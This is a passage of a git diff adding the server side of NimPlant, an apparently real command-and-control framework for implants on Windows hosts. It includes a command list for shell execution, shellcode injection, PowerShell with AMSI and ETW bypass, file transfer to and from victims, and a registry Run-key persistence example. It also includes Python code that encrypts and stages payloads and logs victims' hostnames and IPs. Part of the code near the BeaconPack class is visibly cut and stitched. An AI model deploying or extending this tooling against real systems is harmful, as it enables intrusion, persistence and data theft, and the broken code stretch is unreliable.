WMI." + help: | + Takes no arguments. + + Lists any local administrators on the target using WMI. + + - command: kill + server_command: False + risky_command: False + gui_command: False + description: "Kill the currently selected NimPlant." + help: | + Takes no arguments. + + Will kill the currently selected NimPlant. Mostly useful in console mode. + + - command: ls + server_command: False + risky_command: False + gui_command: False + description: " List files and folders in a certain directory. Lists current directory by default." + help: | + Takes an optional path on the target system as an argument. + + Will list the files and folders in the specified directory. + If no path is specified, will list the files and folders in the current working directory. + + - command: mkdir + server_command: False + risky_command: False + gui_command: False + description: "[directory] Create a directory (and its parent directories if required)." + help: | + Takes an optional path on the target system as an argument. + + Will create the specified directory. Will create any missing parent directories if they are not present. + If no path is specified, will create the directory within the current working directory. + + - command: mv + server_command: False + risky_command: False + gui_command: False + description: "[source] [destination] Move a file or directory." + help: | + Takes two arguments: a source and destination path (either a file or directory) on the target system. + + Will move the specified source file or directory to the specified destination. + + - command: ps + server_command: False + risky_command: False + gui_command: False + description: "List running processes on the target. Indicates current process." + help: | + Takes no arguments. + + Will list the running processes on the target system using the Windows API. + The current NimPlant process will be highlighted. + + - command: pwd + server_command: False + risky_command: False + gui_command: False + description: "Get the current working directory." + help: | + Takes no arguments. + + Will return the current working directory on the target system. + + - command: reg + server_command: False + risky_command: False + gui_command: False + description: "[query|add] [path] Query or modify the registry. New values will be added as REG_SZ." + help: | + Takes two mandatory arguments: either the 'query' or 'add' command, and a path to the registry key. + Optionally, takes a key and value to add to the registry if the 'add' command has been selected. + + Will query or modify the registry on the target system. If the query command is used, will return the value of the specified key. + If the add command is used, will add the specified key and value to the registry. + + Only supports the HKCU/HKLM registry hives for now, and only supports adding REG_SZ values. + + Example: 'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inconspicuous calc.exe' + + - command: rm + server_command: False + risky_command: False + gui_command: False + description: "[file] Remove a file or directory." + help: | + Takes a path on the target system as an argument. + + Will remove the specified file or directory. + + - command: run + server_command: False + risky_command: False + gui_command: False + description: "[binary] Run a binary from disk. Returns output but blocks NimPlant while running." + help: | + Takes a mandatory argument with the path on the target system pointing to the binary to run, + and optionally takes any arguments to pass to the binary. + + This command executes a binary on the target system. NimPlant will return the console output of the executed binary. + + CAUTION: The NimPlant session will be blocked while the binary is running. Take care triggering any long-running binaries! + Additionally, the binary will be executed as a child process of the NimPlant process. Be mindful of the OPSEC implications of this. + + + - command: shell + server_command: False + risky_command: True + gui_command: False + description: "[command] Execute a shell command." + help: | + [RISKY COMMAND] + Takes a mandatory argument with the shell command to execute. + + This command executes a shell command on the target system. NimPlant will return the console output of the executed shell command. + + CAUTION: NimPlant will run 'cmd.exe /c ...' as a child process of the NimPlant process. Be mindful of the OPSEC implications of this. + + - command: shinject + server_command: False + risky_command: True + gui_command: False + description: "[targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation." + help: | + [RISKY COMMAND] + Takes two mandatory arguments: the target process ID and the local path to the shellcode file. + + This command loads raw shellcode from a local file and injects it into the specified process's memory. + This command uses dynamic invocation (D/Invoke) to inject the shellcode using Native APIs. + The used injection method is relatively straightforward, so be mindful of the OPSEC implications of this. + If stealthy injection is a requirement, consider using a (custom) BOF instead via the 'inline-execute' command. + + - command: sleep + server_command: False + risky_command: False + gui_command: False + description: "[sleeptime] Change the sleep time of the current NimPlant." + help: | + Takes two arguments: the new sleep time in seconds, and optionally a jitter percentage. + + Will change the sleep time of the current NimPlant. + The sleep time is the time the NimPlant will wait between each command execution. + The jitter percentage is the percentage of the sleep time that will be added or subtracted from the sleep time. + A high sleep time should be used to avoid detection by defensive products. + + Example: 'sleep 60 10' will set the sleep time to 60 seconds, and add or subtract up to 6 seconds randomly per check-in. + + - command: powershell + server_command: False + risky_command: True + gui_command: False + description: " [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR." + help: | + [RISKY COMMAND] + Takes two optional arguments to indicate whether AMSI and ETW should be bypassed, and a mandatory argument with the PowerShell command to execute. + + This command executes a PowerShell command in an unmanaged runspace. + While this does NOT spawn a child process or any instance of 'powershell.exe', + it does load the Common Language Runtime (CLR) into the current process, and opens a console via the 'conhost.exe' process. + Be mindful of the OPSEC implications of this. + + - command: upload + server_command: False + risky_command: False + gui_command: False + description: "(GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine." + help: | + [GUI COMMAND] + Takes a mandatory argument with the local path to the file to upload, and optionally takes a remote path to upload the file to. + + This command uploads a file from the NimPlant server to the victim machine. + If no remote path is specified, the file will be uploaded to the current working directory. + + - command: wget + server_command: False + risky_command: False + gui_command: False + description: "[url] Download a file to disk remotely." + help: | + Takes a mandatory argument with the URL to download, and optionally takes a remote file path to save the downloaded file to. + + This command downloads a file from a URL to the victim machine. + If no remote file path is specified, the file will be downloaded to the current working directory. + + - command: whoami + server_command: False + risky_command: False + gui_command: False + description: "Get the user ID that NimPlant is running as." + help: | + Takes no arguments. + + Will return the user ID that NimPlant is running as using the Windows API. + Will add an asterisk to the name (*) if the user's token is elevated. diff --git a/server/util/config.py b/server/util/config.py new file mode 100644 index 0000000..a39f671 --- /dev/null +++ b/server/util/config.py @@ -0,0 +1,5 @@ +import os, sys, toml + +# Parse server configuration +configPath = os.path.abspath(os.path.join(os.path.dirname(sys.argv[0]), 'config.toml')) +config = toml.load(configPath) \ No newline at end of file diff --git a/server/util/crypto.py b/server/util/crypto.py new file mode 100644 index 0000000..27b185b --- /dev/null +++ b/server/util/crypto.py @@ -0,0 +1,51 @@ +import base64, string, random +from Crypto.Cipher import AES +from Crypto.Util import Counter + +# XOR function to transmit key securely. Matches nimplant XOR function in 'client/util/crypto.nim' +def xorString(value, key): + k = key + result = [] + for c in value: + character = ord(c) + for f in [0, 8, 16, 24]: + character = character ^ (k >> f) & 0xFF + result.append(character) + k = k + 1 + # Return a bytes-like object constructed from the iterator to prevent chr()/encode() issues + return bytes(result) + + +def randString(size, chars=string.ascii_letters + string.digits + string.punctuation): + return "".join(random.choice(chars) for _ in range(size)) + + +# https://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr +def encryptData(plaintext, key): + iv = randString(16).encode("UTF-8") + ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) + aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) + try: + ciphertext = iv + aes.encrypt(plaintext.encode("UTF-8")) + except AttributeError: + ciphertext = iv + aes.encrypt(plaintext) + enc = base64.b64encode(ciphertext).decode("UTF-8") + return enc + + +def decryptData(blob, key): + ciphertext = base64.b64decode(blob) + iv = ciphertext[:16] + ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) + aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) + dec = aes.decrypt(ciphertext[16:]).decode("UTF-8") + return dec + + +def decryptBinaryData(blob, key): + ciphertext = base64.b64decode(blob) + iv = ciphertext[:16] + ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) + aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) + dec = aes.decrypt(ciphertext[16:]) + return dec diff --git a/server/util/db.py b/server/util/db.py new file mode 100644 index 0000000..c64e972 --- /dev/null +++ b/server/util/db.py @@ -0,0 +1,425 @@ +import sqlite3 +from .config import config +from .func import timestamp, nimplantPrint + +con = sqlite3.connect( + "server/nimplant.db", check_same_thread=False, detect_types=sqlite3.PARSE_DECLTYPES +) + +# Use the Row type to allow easy conversions to dicts +con.row_factory = sqlite3.Row + +# Handle bool as 1 (True) and 0 (False) +sqlite3.register_adapter(bool, int) +sqlite3.register_converter("BOOLEAN", lambda v: bool(int(v))) + +# +# BASIC FUNCTIONALITY (NIMPLANT) +# + + +def initDb(): + try: + # Create the server (configuration) table + con.execute( + """ + CREATE TABLE IF NOT EXISTS server + (guid TEXT PRIMARY KEY, name TEXT, dateCreated DATETIME, + xorKey INTEGER, managementIp TEXT, managementPort INTEGER, + listenerType TEXT, listenerIp TEXT, listenerHost TEXT, listenerPort INTEGER, + registerPath TEXT, taskPath TEXT, resultPath TEXT, riskyMode BOOLEAN, + sleepTime INTEGER, sleepJitter INTEGER, killDate TEXT, + userAgent TEXT, killed BOOLEAN) + """ + ) + + # Create the nimplant table + con.execute( + """ + CREATE TABLE IF NOT EXISTS nimplant + (id INTEGER, guid TEXT PRIMARY KEY, serverGuid TEXT, active BOOLEAN, late BOOLEAN, + cryptKey TEXT, ipAddrExt TEXT, ipAddrInt TEXT, username TEXT, + hostname TEXT, osBuild TEXT, pid INTEGER, pname TEXT, riskyMode BOOLEAN, + sleepTime INTEGER, sleepJitter INTEGER, killDate TEXT, + firstCheckin TEXT, lastCheckin TEXT, pendingTasks TEXT, + hostingFile TEXT, receivingFile TEXT, lastUpdate TEXT, + FOREIGN KEY (serverGuid) REFERENCES server(guid)) + """ + ) + + # Create the server_history table + con.execute( + """ + CREATE TABLE IF NOT EXISTS server_history + (id INTEGER PRIMARY KEY AUTOINCREMENT, serverGuid TEXT, result TEXT, resultTime TEXT, + FOREIGN KEY (serverGuid) REFERENCES server(guid)) + """ + ) + + # Create the nimplant_history table + con.execute( + """ + CREATE TABLE IF NOT EXISTS nimplant_history + (id INTEGER PRIMARY KEY AUTOINCREMENT, nimplantGuid TEXT, taskGuid TEXT, task TEXT, taskFriendly TEXT, + taskTime TEXT, result TEXT, resultTime TEXT, + FOREIGN KEY (nimplantGuid) REFERENCES nimplant(guid)) + """ + ) + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Define a function to compare the config to the last server object +def dbPreviousServerSameConfig(nimplant_server, xor_key) -> bool: + try: + nimplant_server = nimplant_server.asdict() + + # Get the previous server object + prevServer = con.execute( + """SELECT * FROM server WHERE NOT killed ORDER BY dateCreated DESC LIMIT 1""" + ).fetchone() + + # If there is no previous server object, return True + if prevServer is None: + return False + + # Compare the config to the previous server object + if ( + xor_key != prevServer["xorKey"] + or nimplant_server["managementIp"] != prevServer["managementIp"] + or nimplant_server["managementPort"] != prevServer["managementPort"] + or nimplant_server["listenerType"] != prevServer["listenerType"] + or nimplant_server["listenerIp"] != prevServer["listenerIp"] + or nimplant_server["listenerHost"] != prevServer["listenerHost"] + or nimplant_server["listenerPort"] != prevServer["listenerPort"] + or nimplant_server["registerPath"] != prevServer["registerPath"] + or nimplant_server["taskPath"] != prevServer["taskPath"] + or nimplant_server["resultPath"] != prevServer["resultPath"] + or nimplant_server["riskyMode"] != prevServer["riskyMode"] + or nimplant_server["killDate"] != prevServer["killDate"] + or nimplant_server["userAgent"] != prevServer["userAgent"] + ): + return False + + # If nothing has changed, return False + return True + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Get the previous server object for session restoring +def dbGetPreviousServerConfig(): + try: + # Get the previous server object + return con.execute( + """SELECT * FROM server WHERE NOT killed ORDER BY dateCreated DESC LIMIT 1""" + ).fetchone() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Get all the Nimplants for the previous server object +def dbGetPreviousNimplants(serverGuid): + try: + return con.execute( + """SELECT * FROM nimplant WHERE serverGuid = :serverGuid""", + {"serverGuid": serverGuid}, + ).fetchall() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Create the server object (only runs when config has changed or no object exists) +def dbInitNewServer(np_server): + try: + con.execute( + """INSERT INTO server + VALUES (:guid, :name, CURRENT_TIMESTAMP, :xorKey, :managementIp, :managementPort, + :listenerType, :listenerIp, :listenerHost, :listenerPort, :registerPath, + :taskPath, :resultPath, :riskyMode, :sleepTime, :sleepJitter, + :killDate, :userAgent, :killed)""", + np_server.asdict(), + ) + con.commit() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Mark the server object as killed in the database, preventing it from being restored on next boot +def dbKillServer(serverGuid): + try: + con.execute( + """UPDATE server SET killed = 1 WHERE guid = :serverGuid""", + {"serverGuid": serverGuid}, + ) + con.commit() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Create a new nimplant object (runs once when Nimplant first checks in) +def dbInitNimplant(np, serverGuid): + try: + obj = { + "id": np.id, + "guid": np.guid, + "serverGuid": serverGuid, + "active": np.active, + "late": np.late, + "cryptKey": np.cryptKey, + "ipAddrExt": np.ipAddrExt, + "ipAddrInt": np.ipAddrInt, + "username": np.username, + "hostname": np.hostname, + "osBuild": np.osBuild, + "pid": np.pid, + "pname": np.pname, + "riskyMode": np.riskyMode, + "sleepTime": np.sleepTime, + "sleepJitter": np.sleepJitter, + "killDate": np.killDate, + "firstCheckin": np.firstCheckin, + "lastCheckin": np.lastCheckin, + "pendingTasks": ", ".join([t["task"] for t in np.pendingTasks]), + "hostingFile": np.hostingFile, + "receivingFile": np.receivingFile, + "lastUpdate": timestamp(), + } + + con.execute( + """INSERT INTO nimplant + VALUES + (:id, :guid, :serverGuid, :active, :late, + :cryptKey, :ipAddrExt, :ipAddrInt, :username, :hostname, :osBuild, :pid, :pname, + :riskyMode, :sleepTime, :sleepJitter, :killDate, :firstCheckin, + :lastCheckin, :pendingTasks, :hostingFile, :receivingFile, :lastUpdate)""", + obj, + ) + con.commit() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Update an existing nimplant object (runs every time Nimplant checks in) +def dbUpdateNimplant(np): + try: + obj = { + "guid": np.guid, + "active": np.active, + "late": np.late, + "ipAddrExt": np.ipAddrExt, + "ipAddrInt": np.ipAddrInt, + "sleepTime": np.sleepTime, + "sleepJitter": np.sleepJitter, + "lastCheckin": np.lastCheckin, + "pendingTasks": ", ".join([t["task"] for t in np.pendingTasks]), + "hostingFile": np.hostingFile, + "receivingFile": np.receivingFile, + "lastUpdate": timestamp(), + } + + con.execute( + """UPDATE nimplant + SET active = :active, late = :late, ipAddrExt = :ipAddrExt, + ipAddrInt = :ipAddrInt, sleepTime = :sleepTime, sleepJitter = :sleepJitter, + lastCheckin = :lastCheckin, pendingTasks = :pendingTasks, hostingFile = :hostingFile, + receivingFile = :receivingFile, lastUpdate = :lastUpdate + WHERE guid = :guid""", + obj, + ) + con.commit() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Write to Nimplant log +def dbNimplantLog(np, taskGuid=None, task=None, taskFriendly=None, result=None): + try: + ts = timestamp() + + obj = { + "nimplantGuid": np.guid, + "taskGuid": taskGuid, + "task": task, + "taskFriendly": taskFriendly, + "taskTime": ts, + "result": result, + "resultTime": ts, + } + + # If there is only a task, just log the task + if taskGuid is not None and task is not None and result is None: + con.execute( + """INSERT INTO nimplant_history (nimplantGuid, taskGuid, task, taskFriendly, taskTime) + VALUES (:nimplantGuid, :taskGuid, :task, :taskFriendly, :taskTime)""", + obj, + ) + + # If there are a task GUID and result, update the existing task with the result + elif taskGuid is not None and task is None and result is not None: + con.execute( + """UPDATE nimplant_history + SET result = :result, resultTime = :resultTime + WHERE taskGuid = :taskGuid""", + obj, + ) + + # If there is no task or task GUID but there is a result, log the result without task (console messages) + elif taskGuid is None and task is None and result is not None: + con.execute( + """INSERT INTO nimplant_history (nimplantGuid, result, resultTime) + VALUES (:nimplantGuid, :result, :resultTime)""", + obj, + ) + + # If there are both a result and a task (GUID may be None or have a value), log them all at once (server-side tasks) + elif task is not None and result is not None: + con.execute( + """INSERT INTO nimplant_history (nimplantGuid, taskGuid, task, taskFriendly, taskTime, result, resultTime) + VALUES (:nimplantGuid, :taskGuid, :task, :taskFriendly, :taskTime, :result, :resultTime)""", + obj, + ) + + # Other cases should not occur + else: + raise Exception("Uncaught logic case occurred when calling dbNimplantLog()") + + con.commit() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# Write to server log +def dbServerLog(np_server, result): + try: + ts = timestamp() + + obj = {"serverGuid": np_server.guid, "result": result, "resultTime": ts} + + con.execute( + """INSERT INTO server_history (serverGuid, result, resultTime) + VALUES (:serverGuid, :result, :resultTime)""", + obj, + ) + con.commit() + + except Exception as e: + nimplantPrint(f"DB error: {e}") + + +# +# FUNCTIONALITY FOR API +# + +# Get server configuration (/api/server) +def dbGetServerInfo(serverGuid): + try: + res = con.execute( + """SELECT * FROM server WHERE guid = :serverGuid""", + {"serverGuid": serverGuid}, + ).fetchone() + + # Format as JSON-friendly object + resJson = { + "guid": res["guid"], + "name": res["name"], + "xorKey": res["xorKey"], + "config": { + "managementIp": res["managementIp"], + "managementPort": res["managementPort"], + "listenerType": res["listenerType"], + "listenerIp": res["listenerIp"], + "listenerHost": res["listenerHost"], + "listenerPort": res["listenerPort"], + "registerPath": res["registerPath"], + "taskPath": res["taskPath"], + "resultPath": res["resultPath"], + "riskyMode": res["riskyMode"], + "sleepTime": res["sleepTime"], + "sleepJitter": res["sleepJitter"], + "killDate": res["killDate"], + "userAgent": res["userAgent"], + }, + } + return resJson + + except Exception as e: + nimplantPrint(f"DB error: {e}") + return {} + + +# Get the last X entries of console history (/api/server/console[//]) +def dbGetServerConsole(guid, limit, offset): + try: + res = con.execute( + """SELECT * FROM server_history WHERE serverGuid = :serverGuid LIMIT :limit OFFSET :offset""", + {"serverGuid": guid, "limit": limit, "offset": offset}, + ).fetchall() + + res = [dict(r) for r in res] + return res + + except Exception as e: + nimplantPrint(f"DB error: {e}") + return {} + + +# Get overview of nimplants (/api/nimplants) +def dbGetNimplantInfo(serverGuid): + try: + res = con.execute( + """SELECT id, guid, active, late, ipAddrInt, ipAddrExt, username, hostname, pid, pname, lastCheckin + FROM nimplant WHERE serverGuid = :serverGuid""", + {"serverGuid": serverGuid}, + ).fetchall() + + res = [dict(r) for r in res] + return res + + except Exception as e: + nimplantPrint(f"DB error: {e}") + return {} + + +# Get details for nimplant (/api/nimplants/) +def dbGetNimplantDetails(nimplantGuid): + try: + res = con.execute( + """SELECT * FROM nimplant WHERE guid = :nimplantGuid""", + {"nimplantGuid": nimplantGuid}, + ).fetchone() + + if res: + res = dict(res) + return res + + except Exception as e: + nimplantPrint(f"DB error: {e}") + return {} + + +# Get the last X lines of console history for a specific nimplant (/api/nimplants//console[//]) +def dbGetNimplantConsole(nimplantGuid, limit, offset): + try: + res = con.execute( + """SELECT * FROM nimplant_history WHERE nimplantGuid = :nimplantGuid LIMIT :limit OFFSET :offset""", + {"nimplantGuid": nimplantGuid, "limit": limit, "offset": offset}, + ).fetchall() + + if res: + res = [dict(r) for r in res] + + return res + + except Exception as e: + nimplantPrint(f"DB error: {e}") + return {} diff --git a/server/util/func.py b/server/util/func.py new file mode 100644 index 0000000..9dd54fd --- /dev/null +++ b/server/util/func.py @@ -0,0 +1,553 @@ +from datetime import datetime +from struct import pack, calcsize +from time import sleep +from zlib import compress +import base64 +import os, hashlib, json, sys + +# Clear screen +def cls(): + if os.name == "nt": + os.system("cls") + else: + os.system("clear") + + +# Timestamp function +timestampFormat = "%d/%m/%Y %H:%M:%S" + + +def timestamp(): + return datetime.now().strftime(timestampFormat) + + +# Loop to check for late checkins (can be infinite - runs as separate thread) +def periodicNimplantChecks(): + from .nimplant import np_server + + while True: + np_server.checkLateNimplants() + sleep(5) + + +# Log input and output to flat files per session +def log(message, target=None): + from .nimplant import np_server + + np = np_server.getNimplantByGuid(target) + + logDir = os.path.abspath( + os.path.join( + os.path.dirname(sys.argv[0]), "server", ".logs", f"server-{np_server.name}" + ) + ) + os.makedirs(logDir, exist_ok=True) + + if target is not None and np is not None: + logFile = f"session-{np.id}-{np.guid}.log" + else: + logFile = f"console.log" + + logFilePath = os.path.join(logDir, logFile) + with open(logFilePath, "a") as f: + f.write(message + "\n") + + +# Print function to properly direct output +def nimplantPrint(message, target=None, task=None, taskGuid=None): + from .db import dbNimplantLog, dbServerLog + from .nimplant import np_server + + np = np_server.getNimplantByGuid(target) + if target is not None and np is not None: + # Print to nimplant stream + result = f"\x1b[1K\r[{timestamp()}|NP{np.id}] {message}" + + if task: + # Log to database as server-side command (write command + result instantly) + dbNimplantLog(np, task=task, taskFriendly=task, result=message) + + elif taskGuid: + # Log to database as result of earlier task + dbNimplantLog(np, taskGuid=taskGuid, result=message) + + else: + # Log to database as message without task + dbNimplantLog(np, result=message) + + else: + # Print to console stream + result = f"\x1b[1K\r[{timestamp()}] {message}" + dbServerLog(np_server, message) + + log(f"[{timestamp()}] {message}", target) + print(result) + + +# Cleanly exit server +def exitServer(): + from .nimplant import np_server + + if np_server.containsActiveNimplants(): + np_server.killAllNimplants() + nimplantPrint( + "Waiting for all NimPlants to receive kill command... Do not force quit!" + ) + while np_server.containsActiveNimplants(): + sleep(1) + + nimplantPrint("Exiting...") + np_server.kill() + os._exit(0) + + +# Exit wrapper for console use +def exitServerConsole(): + from .nimplant import np_server + + if np_server.containsActiveNimplants(): + check = ( + str( + input( + "Are you sure you want to exit? This will kill ALL active NimPlants! (Y/N): " + ) + ) + .lower() + .strip() + ) + if check[0] == "y": + exitServer() + else: + exitServer() + + +# Pretty print function +def prettyPrint(d): + return json.dumps(d, sort_keys=True, indent=2, default=str) + + +# Help menu function +def getHelpMenu(): + from .commands import getCommands + + res = "NIMPLANT HELP\n" + res += ( + "Command arguments shown as [required] .\n" + "Commands with (GUI) can be run without parameters via the web UI.\n\n" + ) + for c in getCommands(): + res += f"{c['command']:<18}{c['description']:<75}\n" + return res.rstrip() + + +# Print the help text for a specific command +def getCommandHelp(command): + from .commands import getCommands + + c = [c for c in getCommands() if c["command"] == command] + + if not c: + return "Help: Command not found." + + c = c[0] + + res = "NIMPLANT HELP\n" + res += f"{c['command']} {c['description']}\n\n" + res += c["help"] + + return res + + +# Get the server configuration as a YAML object +def getConfigJson(): + from .nimplant import np_server + from .config import config + + res = {"GUID": np_server.guid, "Server Configuration": config} + return json.dumps(res) + + +# Handle pre-processing for the 'execute-assembly' command +def executeAssembly(np, args, raw_command): + from .crypto import encryptData + + # TODO: Make AMSI/ETW arg parsing more user-friendly + amsi = "1" + etw = "1" + + k = 1 + for i in range(len(args)): + if args[i].startswith("BYPASSAMSI"): + amsi = args[i].split("=")[-1] + k += 1 + if args[i].startswith("BLOCKETW"): + etw = args[i].split("=")[-1] + k += 1 + + try: + file = args[k] + except: + nimplantPrint( + "Invalid number of arguments received. Usage: 'execute-assembly [localfilepath] '.", + np.guid, + raw_command, + ) + return + + # Check if assembly is provided as file path (normal use) or Base64 blob (GUI) + try: + if os.path.isfile(file): + with open(file, "rb") as f: + assembly = f.read() + except: + nimplantPrint( + "Invalid assembly file specified.", + np.guid, + raw_command, + ) + return + + assembly = compress(assembly, level=9) + assembly = encryptData(assembly, np.cryptKey) + assemblyArgs = " ".join(args[k + 1 :]) + + commandArgs = " ".join([amsi, etw, assembly, assemblyArgs]) + + command = f"execute-assembly {commandArgs}" + + guid = np.addTask(command, taskFriendly=raw_command) + nimplantPrint( + "Staged execute-assembly command for NimPlant.", np.guid, taskGuid=guid + ) + + +# Helper for packing BOF arguments +# Original source: COFFLoader by kev169 at TrustedSec +# https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py +class BeaconPack: + def __init__(self): + self.buffer = b"" + self.size = 0 + + def getbuffer(self): + return pack("'.", + np.guid, + raw_command, + ) + return + + # Check if BOF is provided as file path (normal use) or Base64 blob (GUI) + try: + if os.path.isfile(file): + with open(file, "rb") as f: + assembly = f.read() + else: + assembly = base64.b64decode(file) + taskFriendly = "inline-execute" # Truncate big B64 blob + except: + nimplantPrint( + "Invalid BOF file specified.", + np.guid, + raw_command, + ) + return + + assembly = compress(assembly, level=9) + assembly = encryptData(assembly, np.cryptKey) + + # Pre-process BOF arguments + # Check if list of arguments consists of argument-type pairs + binaryArgTypes = ["binary", "bin", "b"] + integerArgTypes = ["integer", "int", "i"] + shortArgTypes = ["short", "s"] + stringArgTypes = ["string", "z"] + wstringArgTypes = ["wstring", "Z"] + allArgTypes = ( + binaryArgTypes + + integerArgTypes + + shortArgTypes + + stringArgTypes + + wstringArgTypes + ) + + if len(assemblyArgs) != 0: + if not len(assemblyArgs) % 2 == 0: + nimplantPrint( + "BOF arguments not provided as arg-type pairs.\n" + "Usage: 'inline-execute [localfilepath] [entrypoint] '.\n" + "Example: 'inline-execute dir.x64.o go C:\\Users\\Testuser\\Desktop wstring'", + np.guid, + raw_command, + ) + return + + # Pack every argument-type pair + buffer = BeaconPack() + argPairList = zip(assemblyArgs[::2], assemblyArgs[1::2]) + for argPair in argPairList: + arg = argPair[0] + argType = argPair[1] + + try: + if argType in binaryArgTypes: + buffer.addbin(arg) + elif argType in integerArgTypes: + buffer.addint(int(arg)) + elif argType in shortArgTypes: + buffer.addshort(int(arg)) + elif argType in stringArgTypes: + buffer.addstr(arg) + elif argType in wstringArgTypes: + buffer.addWstr(arg) + else: + nimplantPrint( + "Invalid argument type provided.\n" + f"Valid argument types (case-sensitive): {', '.join(allArgTypes)}.", + np.guid, + raw_command, + ) + return + + except ValueError: + nimplantPrint( + "Invalid integer or short value provided.\nUsage: 'inline-execute [localfilepath] [entrypoint] '.\n" + "Example: 'inline-execute createremotethread.x64.o go 1337 i [b64shellcode] b'", + np.guid, + raw_command, + ) + return + + assemblyArgs_final = str(binascii.hexlify(buffer.getbuffer()), "utf-8") + else: + assemblyArgs_final = "" + + commandArgs = " ".join([assembly, entryPoint, assemblyArgs_final]) + command = f"inline-execute {commandArgs}" + guid = np.addTask(command, taskFriendly=taskFriendly) + nimplantPrint("Staged inline-execute command for NimPlant.", np.guid, taskGuid=guid) + + +# Handle pre-processing for the 'powershell' command +def powershell(np, args, raw_command): + amsi = "1" + etw = "1" + + k = 1 + for i in range(len(args)): + if args[i].startswith("BYPASSAMSI"): + amsi = args[i].split("=")[-1] + k += 1 + if args[i].startswith("BLOCKETW"): + etw = args[i].split("=")[-1] + k += 1 + + powershellCmd = " ".join(args[k:]) + + if powershellCmd == "": + nimplantPrint( + "Invalid number of arguments received. Usage: 'powershell [command]'.", + np.guid, + raw_command, + ) + return + + commandArgs = " ".join([amsi, etw, powershellCmd]) + + command = f"powershell {commandArgs}" + + guid = np.addTask(command, taskFriendly=raw_command) + nimplantPrint("Staged powershell command for NimPlant.", np.guid, taskGuid=guid) + + +# Handle pre-processing for the 'shinject' command +def shinject(np, args, raw_command): + from .crypto import encryptData + + try: + processId, filePath = args[1:3] + except: + nimplantPrint( + "Invalid number of arguments received. Usage: 'shinject [PID] [localfilepath]'.", + np.guid, + raw_command, + ) + return + + if os.path.isfile(filePath): + with open(filePath, "rb") as f: + shellcode = f.read() + + shellcode = compress(shellcode, level=9) + shellcode = encryptData(shellcode, np.cryptKey) + + commandArgs = " ".join([processId, shellcode]) + + command = f"shinject {commandArgs}" + + guid = np.addTask(command, taskFriendly=raw_command) + nimplantPrint("Staged shinject command for NimPlant.", np.guid, taskGuid=guid) + + else: + nimplantPrint( + "Shellcode file to inject does not exist.", + np.guid, + raw_command, + ) + + +# Handle pre-processing for the 'upload' command +def uploadFile(np, args, raw_command): + if len(args) == 2: + filePath = args[1] + remotePath = "" + elif len(args) == 3: + filePath = args[1] + remotePath = args[2] + else: + nimplantPrint( + "Invalid number of arguments received. Usage: 'upload [local file] '.", + np.guid, + raw_command, + ) + return + + fileName = os.path.basename(filePath) + fileId = hashlib.md5(filePath.encode("UTF-8")).hexdigest() + + if os.path.isfile(filePath): + np.hostFile(filePath) + command = f"upload {fileId} {fileName} {remotePath}" + + guid = np.addTask(command, taskFriendly=raw_command) + nimplantPrint("Staged upload command for NimPlant.", np.guid, taskGuid=guid) + + else: + nimplantPrint("File to upload does not exist.", np.guid, raw_command) + + +# Handle pre-processing for the 'download' command +def downloadFile(np, args, raw_command): + from .nimplant import np_server + + if len(args) == 2: + filePath = args[1] + fileName = filePath.replace("/", "\\").split("\\")[-1] + localPath = f"server/downloads/server-{np_server.guid}/{fileName}" + elif len(args) == 3: + filePath = args[1] + localPath = args[2] + else: + nimplantPrint( + "Invalid number of arguments received. Usage: 'download [remote file] '.", + np.guid, + raw_command, + ) + return + + os.makedirs(os.path.dirname(localPath), exist_ok=True) + np.receiveFile(localPath) + command = f"download {filePath}" + + guid = np.addTask(command, taskFriendly=raw_command) + nimplantPrint("Staged download command for NimPlant.", np.guid, taskGuid=guid) + + +# Get last lines of file +# Credit 'S.Lott' on StackOverflow: https://stackoverflow.com/questions/136168/get-last-n-lines-of-a-file-similar-to-tail +def tail(f, lines): + total_lines_wanted = lines + BLOCK_SIZE = 1024 + f.seek(0, 2) + block_end_byte = f.tell() + lines_to_go = total_lines_wanted + block_number = -1 + blocks = [] + while lines_to_go > 0 and block_end_byte > 0: + if block_end_byte - BLOCK_SIZE > 0: + f.seek(block_number * BLOCK_SIZE, 2) + blocks.append(f.read(BLOCK_SIZE)) + else: + f.seek(0, 0) + blocks.append(f.read(block_end_byte)) + lines_found = blocks[-1].count(b"\n") + lines_to_go -= lines_found + block_end_byte -= BLOCK_SIZE + block_number -= 1 + all_read_text = b"".join(reversed(blocks)) + return b"\n".join(all_read_text.splitlines()[-total_lines_wanted:]) + + +def tailNimPlantLog(np=None, lines=100): + from .nimplant import np_server + + logDir = os.path.abspath( + os.path.join( + os.path.dirname(sys.argv[0]), "server", ".logs", f"server-{np_server.name}" + ) + ) + + if np: + logFile = f"session-{np.id}-{np.guid}.log" + id = np.guid + else: + logFile = f"console.log" + id = "CONSOLE" + + logFilePath = os.path.join(logDir, logFile) + + if os.path.exists(logFilePath): + with open(logFilePath, "rb") as f: + logContents = tail(f, lines).decode("utf8") + else: + lines = 0 + logContents = "" + + return {"id": id, "lines": lines, "result": logContents} diff --git a/server/util/input.py b/server/util/input.py new file mode 100644 index 0000000..6cdbba9 --- /dev/null +++ b/server/util/input.py @@ -0,0 +1,77 @@ +import os + +# Command history and command / path completion on Linux +if os.name == "posix": + import readline + from .commands import getCommandList + + commands = getCommandList() + + def list_folder(path): + if path.startswith(os.path.sep): + # absolute path + basedir = os.path.dirname(path) + contents = os.listdir(basedir) + # add back the parent + contents = [os.path.join(basedir, d) for d 